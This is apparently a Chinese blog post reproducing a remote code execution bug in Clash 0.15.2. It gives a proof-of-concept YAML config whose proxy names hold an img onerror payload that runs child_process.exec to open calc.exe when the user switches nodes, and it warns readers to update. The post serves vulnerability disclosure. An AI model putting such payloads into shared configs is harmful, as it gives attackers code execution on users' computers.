Clash rce漏洞复现视频

杂谈

Clash相信你们都不陌生,就是我们平常使用VPN时最常用的软件

就在前几个小时爆出了RCE漏洞,我们立马给大家复现一下!

复现视频

clash存在漏洞版本

目前发现的漏洞版本是0.15.2,您可以下载下面的软件进行复现

POC

新建yaml文件

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true


proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: select
    proxies:
    - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

图文教程

新建完yaml文件后,你需要手动导入,点击import

图片[1]-Clash rce漏洞复现视频-FancyPig's blog

然后切换到这里

图片[2]-Clash rce漏洞复现视频-FancyPig's blog

切换节点时会弹出计算器,说明远程代码执行成功了

图片[3]-Clash rce漏洞复现视频-FancyPig's blog

漏洞的利用

如果你是从一些垃圾网站上复制的免费节点,小心不要被人恶意植入了远程执行代码,很有可能导致电脑被远程控制,因此,您可以选择更新到最新版本,此问题就不存在了!

© 版权声明
THE END
喜欢就支持一下吧
点赞26赞赏 分享
评论 共6条

请登录后发表评论